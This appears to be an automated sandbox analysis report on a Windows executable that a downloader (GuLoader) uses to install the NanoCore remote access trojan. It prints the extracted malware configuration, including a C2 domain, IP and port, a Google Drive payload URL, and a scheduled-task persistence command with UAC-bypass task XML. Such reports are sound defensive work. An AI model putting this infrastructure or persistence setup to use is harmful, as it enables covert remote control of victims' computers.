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Windows Analysis Report Doc0011222003.exe

Overview

General Information

Sample Name:Doc0011222003.exe
Analysis ID:527215
MD5:e70022c5636db76b71c8b2c56552c60c
SHA1:4589b37f02bb95d26bb2ba369c46c99268ce2985
SHA256:0226b26f82ea7ab25ad85a4cfda530f7b28f91b1d57f8ca0361b7b03e8ce59bb
Infos:

Most interesting Screenshot:

Detection

Nanocore GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: NanoCore
Detected Nanocore Rat
GuLoader behavior detected
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Yara detected Nanocore RAT
Yara detected GuLoader
Hides threads from debuggers
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Sigma detected: Suspicius Add Task From User AppData Temp
C2 URLs / IPs found in malware configuration
Hides that the sample has been downloaded from the Internet (zone.identifier)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses dynamic DNS services
Uses 32bit PE files
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Installs a raw input device (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64native
  • Doc0011222003.exe (PID: 676 cmdline: "C:\Users\user\Desktop\Doc0011222003.exe" MD5: E70022C5636DB76B71C8B2C56552C60C)
    • backgroundTaskHost.exe (PID: 1896 cmdline: "C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca MD5: DA7063B17DBB8BBB3015351016868006)
      • conhost.exe (PID: 6024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 4216 cmdline: schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmpF23C.tmp MD5: 478BEAEC1C3A9417272BC8964ADD1CEE)
        • conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • CasPol.exe (PID: 1896 cmdline: "C:\Users\user\Desktop\Doc0011222003.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)
  • CasPol.exe (PID: 1348 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0 MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)
    • conhost.exe (PID: 5176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • PEGASUS.exe (PID: 7912 cmdline: "C:\Users\user\AppData\Roaming\MAGTTEKNIK\PEGASUS.exe" MD5: E70022C5636DB76B71C8B2C56552C60C)
    • CasPol.exe (PID: 1464 cmdline: "C:\Users\user\AppData\Roaming\MAGTTEKNIK\PEGASUS.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)
    • CasPol.exe (PID: 6192 cmdline: "C:\Users\user\AppData\Roaming\MAGTTEKNIK\PEGASUS.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)
    • CasPol.exe (PID: 6916 cmdline: "C:\Users\user\AppData\Roaming\MAGTTEKNIK\PEGASUS.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)
      • conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • PEGASUS.exe (PID: 6424 cmdline: "C:\Users\user\AppData\Roaming\MAGTTEKNIK\PEGASUS.exe" MD5: E70022C5636DB76B71C8B2C56552C60C)
    • CasPol.exe (PID: 420 cmdline: "C:\Users\user\AppData\Roaming\MAGTTEKNIK\PEGASUS.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)
    • CasPol.exe (PID: 7356 cmdline: "C:\Users\user\AppData\Roaming\MAGTTEKNIK\PEGASUS.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)
      • conhost.exe (PID: 7604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=1oM;"}

Threatname: NanoCore

{"Version": "1.2.2.0", "Mutex": "27c2db5e-046a-4be3-bf54-d8c28b56", "Group": "Sons and daughters", "Domain1": "abdul2u.ddns.net", "Domain2": "79.134.225.122", "Port": 6735, "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n  <RegistrationInfo />\r\n  <Triggers />\r\n  <Principals>\r\n    <Principal id=\"Author\">\r\n      <LogonType>InteractiveToken</LogonType>\r\n      <RunLevel>HighestAvailable</RunLevel>\r\n    </Principal>\r\n  </Principals>\r\n  <Settings>\r\n    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n    <AllowHardTerminate>true</AllowHardTerminate>\r\n    <StartWhenAvailable>false</StartWhenAvailable>\r\n    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n    <IdleSettings>\r\n      <StopOnIdleEnd>false</StopOnIdleEnd>\r\n      <RestartOnIdle>false</RestartOnIdle>\r\n    </IdleSettings>\r\n    <AllowStartOnDemand>true</AllowStartOnDemand>\r\n    <Enabled>true</Enabled>\r\n    <Hidden>false</Hidden>\r\n    <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n    <WakeToRun>false</WakeToRun>\r\n    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n    <Priority>4</Priority>\r\n  </Settings>\r\n  <Actions Context=\"Author\">\r\n    <Exec>\r\n      <Command>\"#EXECUTABLEPATH\"</Command>\r\n      <Arguments>$(Arg0)</Arguments>\r\n    </Exec>\r\n  </Actions>\r\n</Task"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000014.00000002.79927031030.0000000000510000.00000040.00000010.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    00000002.00000002.78191516120.0000000000540000.00000040.00000010.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
      00000017.00000002.79863339274.000000001E141000.00000004.00000001.sdmpJoeSecurity_NanocoreYara detected Nanocore RATJoe Security
        00000017.00000002.79863339274.000000001E141000.00000004.00000001.sdmpNanoCoreunknown Kevin Breen <kevin@techanarchy.net>
        • 0x23cef:$a: NanoCore
        • 0x23d48:$a: NanoCore
        • 0x23d85:$a: NanoCore
        • 0x23dfe:$a: NanoCore
        • 0x23d51:$b: ClientPlugin
        • 0x23d8e:$b: ClientPlugin
        • 0x2468c:$b: ClientPlugin
        • 0x24699:$b: ClientPlugin
        • 0x1ba5d:$e: KeepAlive
        • 0x241d9:$g: LogClientMessage
        • 0x24159:$i: get_Connected
        • 0x15d21:$j: #=q
        • 0x15d51:$j: #=q
        • 0x15d8d:$j: #=q
        • 0x15db5:$j: #=q
        • 0x15de5:$j: #=q
        • 0x15e15:$j: #=q
        • 0x15e45:$j: #=q
        • 0x15e75:$j: #=q
        • 0x15e91:$j: #=q
        • 0x15ec1:$j: #=q
        00000017.00000000.79578342155.0000000000E00000.00000040.00000001.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
          Click to see the 11 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          23.2.CasPol.exe.1f189ca6.3.raw.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
          • 0xe75:$x1: NanoCore.ClientPluginHost
          • 0x145e3:$x1: NanoCore.ClientPluginHost
          • 0x2d5c7:$x1: NanoCore.ClientPluginHost
          • 0xe8f:$x2: IClientNetworkHost
          • 0x14610:$x2: IClientNetworkHost
          • 0x2d5f4:$x2: IClientNetworkHost
          23.2.CasPol.exe.1f189ca6.3.raw.unpackNanocore_RAT_Feb18_1Detects Nanocore RATFlorian Roth
          • 0xe75:$x2: NanoCore.ClientPluginHost
          • 0x145e3:$x2: NanoCore.ClientPluginHost
          • 0x2d5c7:$x2: NanoCore.ClientPluginHost
          • 0x1261:$s3: PipeExists
          • 0x1136:$s4: PipeCreated
          • 0x156be:$s4: PipeCreated
          • 0x2e6a2:$s4: PipeCreated
          • 0xeb0:$s5: IClientLoggingHost
          • 0x145fd:$s5: IClientLoggingHost
          • 0x2d5e1:$s5: IClientLoggingHost
          23.2.CasPol.exe.1f189ca6.3.raw.unpackJoeSecurity_NanocoreYara detected Nanocore RATJoe Security
            23.2.CasPol.exe.1f189ca6.3.raw.unpackNanoCoreunknown Kevin Breen <kevin@techanarchy.net>
            • 0xddf:$a: NanoCore
            • 0xe38:$a: NanoCore
            • 0xe75:$a: NanoCore
            • 0xeee:$a: NanoCore
            • 0x14599:$a: NanoCore
            • 0x145ae:$a: NanoCore
            • 0x145e3:$a: NanoCore
            • 0x2d57d:$a: NanoCore
            • 0x2d592:$a: NanoCore
            • 0x2d5c7:$a: NanoCore
            • 0xe41:$b: ClientPlugin
            • 0xe7e:$b: ClientPlugin
            • 0x177c:$b: ClientPlugin
            • 0x1789:$b: ClientPlugin
            • 0x14355:$b: ClientPlugin
            • 0x14370:$b: ClientPlugin
            • 0x143a0:$b: ClientPlugin
            • 0x145b7:$b: ClientPlugin
            • 0x145ec:$b: ClientPlugin
            • 0x2d339:$b: ClientPlugin
            • 0x2d354:$b: ClientPlugin
            23.2.CasPol.exe.1f18eadc.1.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
            • 0xd9ad:$x1: NanoCore.ClientPluginHost
            • 0xd9da:$x2: IClientNetworkHost
            Click to see the 25 entries

            Sigma Overview

            AV Detection:

            barindex
            Sigma detected: NanoCoreShow sources
            Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 1896, TargetFilename: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

            E-Banking Fraud:

            barindex
            Sigma detected: NanoCoreShow sources
            Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 1896, TargetFilename: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

            System Summary:

            barindex
            Sigma detected: Suspicius Add Task From User AppData TempShow sources
            Source: Process startedAuthor: frack113: Data: Command: schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmpF23C.tmp, CommandLine: schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmpF23C.tmp, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca, ParentImage: C:\Windows\System32\backgroundTaskHost.exe, ParentProcessId: 1896, ProcessCommandLine: schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmpF23C.tmp, ProcessId: 4216

            Stealing of Sensitive Information:

            barindex
            Sigma detected: NanoCoreShow sources
            Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 1896, TargetFilename: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

            Remote Access Functionality:

            barindex
            Sigma detected: NanoCoreShow sources
            Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 1896, TargetFilename: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

            Jbx Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection:

            barindex
            Found malware configurationShow sources
            Source: 00000017.00000002.79863339274.000000001E141000.00000004.00000001.sdmpMalware Configuration Extractor: NanoCore {"Version": "1.2.2.0", "Mutex": "27c2db5e-046a-4be3-bf54-d8c28b56", "Group": "Sons and daughters", "Domain1": "abdul2u.ddns.net", "Domain2": "79.134.225.122", "Port": 6735, "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo />\r\n <Triggers />\r\n <Principals>\r\n <Principal id=\"Author\">\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n <AllowHardTerminate>true</AllowHardTerminate>\r\n <StartWhenAvailable>false</StartWhenAvailable>\r\n <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n <IdleSettings>\r\n <StopOnIdleEnd>false</StopOnIdleEnd>\r\n <RestartOnIdle>false</RestartOnIdle>\r\n </IdleSettings>\r\n <AllowStartOnDemand>true</AllowStartOnDemand>\r\n <Enabled>true</Enabled>\r\n <Hidden>false</Hidden>\r\n <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n <WakeToRun>false</WakeToRun>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <Priority>4</Priority>\r\n </Settings>\r\n <Actions Context=\"Author\">\r\n <Exec>\r\n <Command>\"#EXECUTABLEPATH\"</Command>\r\n <Arguments>$(Arg0)</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task"}
            Source: 00000017.00000000.79578342155.0000000000E00000.00000040.00000001.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1oM;"}
            Multi AV Scanner detection for domain / URLShow sources
            Source: abdul2u.ddns.netVirustotal: Detection: 8%Perma Link
            Source: abdul2u.ddns.netVirustotal: Detection: 8%Perma Link
            Multi AV Scanner detection for dropped fileShow sources
            Source: C:\Users\user\AppData\Roaming\MAGTTEKNIK\PEGASUS.exeMetadefender: Detection: 14%Perma Link
            Yara detected Nanocore RATShow sources
            Source: Yara matchFile source: 23.2.CasPol.exe.1f189ca6.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 23.2.CasPol.exe.1f18eadc.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.CasPol.exe.1f0aeadc.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 23.2.CasPol.exe.1f18eadc.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.CasPol.exe.1f0a9ca6.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 23.2.CasPol.exe.1f193105.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.CasPol.exe.1f0aeadc.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 27.2.CasPol.exe.1f0b3105.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000017.00000002.79863339274.000000001E141000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000017.00000002.79863641955.000000001F141000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.79978855466.000000001F061000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.79978540386.000000001E061000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 6916, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 7356, type: MEMORYSTR
            Source: Doc0011222003.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
            Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exeFile opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dllJump to behavior
            Source: unknownHTTPS traffic detected: 142.250.184.206:443 -> 192.168.11.20:49820 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.181.225:443 -> 192.168.11.20:49821 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.186.174:443 -> 192.168.11.20:49840 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.185.161:443 -> 192.168.11.20:49841 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 172.217.168.14:443 -> 192.168.11.20:49843 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.186.174:443 -> 192.168.11.20:49845 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.185.161:443 -> 192.168.11.20:49846 version: TLS 1.2
            Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exeFile opened: C:\Windows\Microsoft.NET\Framework\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exeFile opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System\06e54f5fa1f15dd558eaf403cdcacad3\System.ni.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exeFile opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\5085e86702d2182b0d9417971c65ded2\System.Drawing.ni.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exeFile opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exeFile opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\ae952be8fa59744d6333aed90b72f162\System.Windows.Forms.ni.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exeFile opened: C:\Windows\Microsoft.NET\Jump to behavior

            Networking:

            barindex
            C2 URLs / IPs found in malware configurationShow sources
            Source: Malware configuration extractorURLs: https://drive.google.com/uc?export=download&id=1oM;
            Source: Malware configuration extractorURLs: abdul2u.ddns.net
            Source: Malware configuration extractorURLs: 79.134.225.122
            Uses dynamic DNS servicesShow sources
            Source: unknownDNS query: name: abdul2u.ddns.net
            Source: Joe Sandbox ViewASN Name: PTPEU PTPEU
            Source: Joe Sandbox ViewASN Name: FINK-TELECOM-SERVICESCH FINK-TELECOM-SERVICESCH
            Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
            Source: Joe Sandbox ViewIP Address: 79.134.225.122 79.134.225.122
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1oM9hn-PPsGzsYLC6phCcZPr7HMtVKRgX HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7ag4bnhn9ga855bgu8d3ldr74vnelc1d/1637674800000/14482752613682931361/*/1oM9hn-PPsGzsYLC6phCcZPr7HMtVKRgX?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-00-68-docs.googleusercontent.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1oM9hn-PPsGzsYLC6phCcZPr7HMtVKRgX HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cacheCookie: NID=511=O2-FXr5qY76nLIjQxvu2_dNxwEtEAZmUxKDF6y584Qjx7NM545C5PIS_SocNxTJxEK5_KchPEN01o4qyMmQxmKaggD7ecYWx2bdodOikTvrlJfMoyHbS4cvhS_Kk8QF7TyLxZO5NB5GVwXIvTg82PL1VoDOvxQvyU_6Z1TC1nUE
            Source: global trafficHTTP traffic detected: GET /docs/securesc/m3j9najiejndjck0dhvpff742spjj7o6/mqftof4tr6k7gid13k6q6ikogfpd1k2d/1637674950000/14482752613682931361/08866698715000929587Z/1oM9hn-PPsGzsYLC6phCcZPr7HMtVKRgX?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-04-3g-docs.googleusercontent.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /nonceSigner?nonce=s94nbloa4nc92&continue=https://doc-04-3g-docs.googleusercontent.com/docs/securesc/m3j9najiejndjck0dhvpff742spjj7o6/mqftof4tr6k7gid13k6q6ikogfpd1k2d/1637674950000/14482752613682931361/08866698715000929587Z/1oM9hn-PPsGzsYLC6phCcZPr7HMtVKRgX?e%3Ddownload&hash=hqfbg0brbd0h8lf3lvpl1nnp6d5151ib HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheConnection: Keep-AliveHost: docs.google.comCookie: NID=511=O2-FXr5qY76nLIjQxvu2_dNxwEtEAZmUxKDF6y584Qjx7NM545C5PIS_SocNxTJxEK5_KchPEN01o4qyMmQxmKaggD7ecYWx2bdodOikTvrlJfMoyHbS4cvhS_Kk8QF7TyLxZO5NB5GVwXIvTg82PL1VoDOvxQvyU_6Z1TC1nUE
            Source: global trafficHTTP traffic detected: GET /docs/securesc/m3j9najiejndjck0dhvpff742spjj7o6/mqftof4tr6k7gid13k6q6ikogfpd1k2d/1637674950000/14482752613682931361/08866698715000929587Z/1oM9hn-PPsGzsYLC6phCcZPr7HMtVKRgX?e=download&nonce=s94nbloa4nc92&user=08866698715000929587Z&hash=ot9mkg4h11n1q8q8tl3fed9t5609m7ab HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheConnection: Keep-AliveHost: doc-04-3g-docs.googleusercontent.comCookie: AUTH_9aqatk3osmsaaots2gjte2gg27aqr5r0_nonce=s94nbloa4nc92
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1oM9hn-PPsGzsYLC6phCcZPr7HMtVKRgX HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cacheCookie: NID=511=O2-FXr5qY76nLIjQxvu2_dNxwEtEAZmUxKDF6y584Qjx7NM545C5PIS_SocNxTJxEK5_KchPEN01o4qyMmQxmKaggD7ecYWx2bdodOikTvrlJfMoyHbS4cvhS_Kk8QF7TyLxZO5NB5GVwXIvTg82PL1VoDOvxQvyU_6Z1TC1nUE
            Source: global trafficHTTP traffic detected: GET /docs/securesc/m3j9najiejndjck0dhvpff742spjj7o6/mqftof4tr6k7gid13k6q6ikogfpd1k2d/1637674950000/14482752613682931361/08866698715000929587Z/1oM9hn-PPsGzsYLC6phCcZPr7HMtVKRgX?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-04-3g-docs.googleusercontent.comConnection: Keep-AliveCookie: AUTH_9aqatk3osmsaaots2gjte2gg27aqr5r0=08866698715000929587Z|1637674950000|oi06qm5ps09ba9vtmvui6gpdeopbgkfu
            Source: global trafficTCP traffic: 192.168.11.20:49823 -> 194.147.140.112:6735
            Source: global trafficTCP traffic: 192.168.11.20:49826 -> 79.134.225.122:6735
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49821
            Source: unknownNetwork traffic detected: HTTP traffic on port 49841 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49843
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49820
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49841
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49840
            Source: unknownNetwork traffic detected: HTTP traffic on port 49820 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49844 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49843 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49821 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49840 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49845 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49846 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49846
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49845
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49844
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
            Source: unknownTCP traffic detected without corresponding DNS query: 79.134.225.122
